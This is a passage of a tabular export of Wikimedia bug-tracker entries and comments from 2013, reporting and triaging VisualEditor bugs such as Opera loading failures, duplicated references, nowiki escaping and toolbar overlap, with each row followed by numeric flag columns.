+https://gerrit.wikimedia.org/r/71174",,,1372556851,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+237902,VisualEditor does not load on Opera when debugging with Dragonfly,"Change 71174 had a related patch set uploaded by Matmarex:
+Make loading VE work on Opera again, attempt two
+
+https://gerrit.wikimedia.org/r/71174",,,1372510944,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+237896,VisualEditor does not load on Opera when debugging with Dragonfly,I know why it only fails when debugging: because the fix in https://gerrit.wikimedia.org/r/#/c/61560/ is only applied when not debugging. Apparently the document there is *still* not a document evenif it appears to be one.,,,1372509962,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+237889,VisualEditor does not load on Opera when debugging with Dragonfly,"And that is because #cloneNode is returning `undefined` for those elements (probably because they come from some weird dynamically-generated document). Which is clearly an Opera bug, but it'd be nice to work around it somehow.",,,1372509277,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+237882,VisualEditor does not load on Opera when debugging with Dragonfly,"And this is because ve.copyArray() is losing data, always returning an array of undefineds there.",,,1372508815,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+237874,VisualEditor does not load on Opera when debugging with Dragonfly,"Hey, it's even better – all of the arrays in store.valueStore apparently consist only of varying number of undefineds.",,,1372508473,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+52416,"Text covered up by infobox when editing, if image in infobox is large","If an infobox contains an image that is wider than the infobox's natural size, then editing the page cause the infobox to expand, without properly wrapping the adjacent text.  The result is that the infobox covers up the adjacent text.
+
+See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Text_appearing_behind_infobox_.2F_behaviour_after_editing on 28 June 2013 for the initial report.  The report came from a user running Chrome (version 27.0.1453.116) on Windows XP; I confirmed it in the en.wp article on Southampton using Safari 6.0.5 (7536.30.1) and Firefox 22.0 on Mac OS 10.7.5.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372498200,1372500786.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-jp6ugl4t75zwxp4yb5dw,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+237836,"Text covered up by infobox when editing, if image in infobox is large","Congrats on your first bug report; sadly it is a dupe. Took me a while to find  bug 49925 though, so you are forgiven :)
+
+*** This bug has been marked as a duplicate of bug 49925 ***",,,1372500786,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-jp6ugl4t75zwxp4yb5dw,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+52380,VisualEditor: massively duplicating references on render,"https://en.wikipedia.org/wiki/Birbal has 3 references; https://en.wikipedia.org/wiki/Birbal?veaction=edit has 24.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372436400,1383410182.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-fxdptzpzjvmxdqfbxpig,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+235754,VisualEditor: massively duplicating references on render,*** Bug 50521 has been marked as a duplicate of this bug. ***,,,1385375005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fxdptzpzjvmxdqfbxpig,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235749,VisualEditor: massively duplicating references on render,Fixed a few months ago; sorry for late reply.,,,1383410182,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fxdptzpzjvmxdqfbxpig,task_subcomment,,True,c1,3,True,,,17,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+235743,VisualEditor: massively duplicating references on render,"They both have 21 references now. :P
+
+I see there were three references around the time of the bug entry
+https://en.wikipedia.org/w/index.php?title=Birbal&oldid=561978332
+
+We need to figure out how to make this problem reproducible.
+
+(bug 50521 looks similar, and might provide some clues on how to cause the renderer to get into this odd state)",,,1373758524,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fxdptzpzjvmxdqfbxpig,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+52364,"VisualEditor: Toolbar shows on top of Save dialog, prevents saving","screenshot
+
+I'm not sure if this is bug 49514 ; feel free to dupe if it is.
+
+See attached screenshot: the toolbar appears on top of the save dialog, which makes it difficult or impossible to save changes.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11157}",Needs Triage,90.0,1372416960,1372417299.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-rlct7v5aitn3wet7l6e6,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+234639,"VisualEditor: Toolbar shows on top of Save dialog, prevents saving","I think this is 50324 instead.
+
+*** This bug has been marked as a duplicate of bug 50324 ***",,,1372417299,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-rlct7v5aitn3wet7l6e6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+52361,VisualEditor: modifying some templates causes them to collapse in on themselves in edit mode,"Screenshot
+
+Try modifying the infobox in https://en.wikipedia.org/wiki/Defiance_%28TV_series%29?veaction=edit for example - see the screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11137}",Needs Triage,90.0,1372414740,1372690696.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-cbgrzxh5jpcsxgl5p5xy,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+234513,VisualEditor: modifying some templates causes them to collapse in on themselves in edit mode,"
+
+*** This bug has been marked as a duplicate of bug 49854 ***",,,1372690696,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cbgrzxh5jpcsxgl5p5xy,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52359,"VisualEditor: Can't drag and drop transclusions, text, references","Users expect to be able to select, drag and drop most elements of the page, including snippets of text, templates & other transclusions, and references, just like they can do with images.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372414500,1373663953.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-smzjavkfcebgjqkdtqrx,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+234439,"VisualEditor: Can't drag and drop transclusions, text, references","Actually, bug 49981 is meant to cover everything; merging.
+
+*** This bug has been marked as a duplicate of bug 49981 ***",,,1373663953,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-smzjavkfcebgjqkdtqrx,task_subcomment,,True,c1,3,True,,,1,,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+234431,"VisualEditor: Can't drag and drop transclusions, text, references","While for text there's 49981 open, itwp users also request this for templates.",,,1373663530,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-smzjavkfcebgjqkdtqrx,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+52331,VisualEditor throws <nowiki> next to any square bracket [,"It is usual to use [square brackets], [...] inside quotes to cut or complete sentences in quotes. As for today, VisualEditor will add <nowiki> tags like this:
+
+<nowiki>[Square brackets]</nowiki>
+
+<nowiki>[...]</nowiki>
+
+This is not a big deal since the users will keep seeing the same in the published article, but it adds unnecessary cruft in edit source mode and it's wrong.
+
+Also, according to Bug 47678 this means that editors won't be able to edit the content inside those brackets with VisualEditor, because of the <nowiki> tags.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+{T54268}",Needs Triage,90.0,1372374900,1372744432.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-trv3cartgmv24xouxumz,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+232663,VisualEditor throws <nowiki> next to any square bracket [,"This bug was about single square brackets ([ ... ]), not wikitext links. 
+
+Entering [[Foo]] as text will practically always need to be escaped as the rules for valid page titles are less restrictive than those for absolute URLs. Same is true for linking parts of a word where the remainder of the word would become part of the link via the link trail mechanism (aka- less precisely- 'piped links'). Or entering any other random wikitext in the VE. Not escaping such wikitext would break the WYSIWYG promise.",,,1372777003,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-trv3cartgmv24xouxumz,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,1
+232654,VisualEditor throws <nowiki> next to any square bracket [,"Not really sure if this applies as well, but will leave it here: http://en.wikipedia.org/w/index.php?title=Ingress_(game)&diff=prev&oldid=562432188 
+
+from
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Strange_result_with_a_.3C.2Fnowiki.3E_tag_inserted .
+Thanks.",,,1372756630,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-trv3cartgmv24xouxumz,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+232646,VisualEditor throws <nowiki> next to any square bracket [,"Looks like we are either still have a problem or it may have resurfaced; last section of:
+
+http://en.wikipedia.org/w/index.php?title=Raphael_Sch%C3%A4fer&diff=prev&oldid=562506378
+
+and follow up edits.",,,1372748767,,PHID-USER-wswkm7jrcwes3tc7o34k,False,,,PHID-TASK-trv3cartgmv24xouxumz,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+232640,VisualEditor throws <nowiki> next to any square bracket [,We have refined the nowiki escaping in Parsoid so that external link like syntax that does not have a valid target is no longer escaped.,,,1372744432,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-trv3cartgmv24xouxumz,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+52313,VisualEditor: Cutting the text of a header leaves a blank header line behind,"Fairly self-explanatory.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372359060,1373154763.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-lorkde4zqpoazowbiim6,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+231451,VisualEditor: Cutting the text of a header leaves a blank header line behind,"This is bug 50100.
+
+*** This bug has been marked as a duplicate of bug 50100 ***",,,1373154763,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lorkde4zqpoazowbiim6,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+231443,VisualEditor: Cutting the text of a header leaves a blank header line behind,"Removing a paragraph and header does the same - https://en.wikipedia.org/w/index.php?title=Idlib_Governorate_clashes_%28June_2012%E2%80%93present%29&curid=39240723&diff=562677456&oldid=562663343
+
+Can this please be prioritised and assigned?",,,1372853616,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-lorkde4zqpoazowbiim6,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0
+52312,VisualEditor: edit link on the history page needs updating,"The history page of any article has an 'edit' link on it; this currently takes you to source editing, which seems highly likely to confuse users.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372358460,1372366680.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ymkat6i32jrdnouhpmiw,task_description,invalid,True,c1,2,False,False,True,-1,,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+231398,VisualEditor: edit link on the history page needs updating,"How very strange. Slightly slower loading time giving a false impression, probably; thanks :).",,,1372364368,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ymkat6i32jrdnouhpmiw,task_subcomment,,True,c1,2,False,,,-1,,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0
+231391,VisualEditor: edit link on the history page needs updating,"Do you mean the diff page - e.g. https://en.wikipedia.org/w/index.php?title=Barack_Obama&diff=561813443&oldid=561813311 - the history page e.g. https://en.wikipedia.org/wiki/Barack_Obama?action=history - or the oldid page - e.g. https://en.wikipedia.org/w/index.php?title=Barack_Obama&oldid=561813443 ?
+
+'Cos the second two work for me; the first one isn't a history page, though. :-)",,,1372364187,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ymkat6i32jrdnouhpmiw,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0
+52295,Carriage return shows up among text,"This is what Alberobello looks like under VE
+
+When trying to edit http://it.wikipedia.org/wiki/Alberobello (tested with MonoBook on FF and Vector on Chrome) a few ""carriage returns"" appear in the first lines. I'd also add that I spot these in https://www.mediawiki.org/wiki/VisualEditor/Basic_example_worksheet : the line which says ""Test split on multiple lines""? It isn't.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11918}",Needs Triage,90.0,1372348860,1373854867.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-vthqyhkr4mcwanonthu2,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+255695,Carriage return shows up among text,"(In reply to comment #0)
+> Created attachment 12662 [details]
+> This is what Alberobello looks like under VE
+> 
+> When trying to edit http://it.wikipedia.org/wiki/Alberobello (tested with
+> MonoBook on FF and Vector on Chrome) a few ""carriage returns"" appear in the
+> first lines.
+
+This is because the blank line is a 'slug' - see bug 47790 for further discussion.
+
+> I'd also add that I spot these in
+> https://www.mediawiki.org/wiki/VisualEditor/Basic_example_worksheet : the
+> line
+> which says ""Test split on multiple lines""? It isn't.
+
+It's a test of whether you can edit the caption with multiple lines for it to display correctly; it's not meant to actually end up on multiple lines, which is why it shows up with '↵'s instead.
+
+*** This bug has been marked as a duplicate of bug 47790 ***
+
+**Attached**: {F11918}",,,1373854867,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vthqyhkr4mcwanonthu2,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+52293,ULS doesn't work while using VisualEditor,"When VisualEditor is enabled there is no option to enable ULS, where I could type in Odia in the search bar using ULS.
+
+When VIsualEditor is enabled there typing is possible only in English. There is no option to change the language using ULS where as it works normally in the search bar. I have tested it for Odia Wikipedia for the article on Colombo: https://or.wikipedia.org/wiki/Colombo on Mac OS X 10.7.5 using browser Firefox 21.0.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11913}",Needs Triage,90.0,1372346160,1372351064.0,PHID-USER-az3b22hiqzlaov5l2efk,False,,False,PHID-TASK-mfexrt4v3gjwo4jczoeu,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+255613,ULS doesn't work while using VisualEditor,"
+
+*** This bug has been marked as a duplicate of bug 49569 ***",,,1372351064,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-mfexrt4v3gjwo4jczoeu,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52290,VisualEditor: not permitting interaction with some media files (and formatting them weirdly),"See https://en.wikipedia.org/wiki/Mitochondrial_DNA?veaction=edit - the links appear, via source editing, to be perfectly normal, and yet you can't interact with them and they display oddly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372344540,1373852602.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bklb3mjjhzmtwofxaf4c,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+255457,VisualEditor: not permitting interaction with some media files (and formatting them weirdly),"This would have been bug 48900 in Parsoid.
+
+*** This bug has been marked as a duplicate of bug 48900 ***",,,1373852602,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bklb3mjjhzmtwofxaf4c,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52283,VisualEditor: references cannot be copied and pasted without losing formatting,"Fairly self-explanatory. The reason this is important; being able to copy references across is crucial when using multiple references from one source item. If I have a book by Jones, from 2003, and I have a reference that reads <ref>Jones (2003) p.23</ref> for one statement, and want to cite page 57 for another, it's a lot easier to change the page number than it is to type everything out again.
+
+--------------------------
+**Version**: unspecified
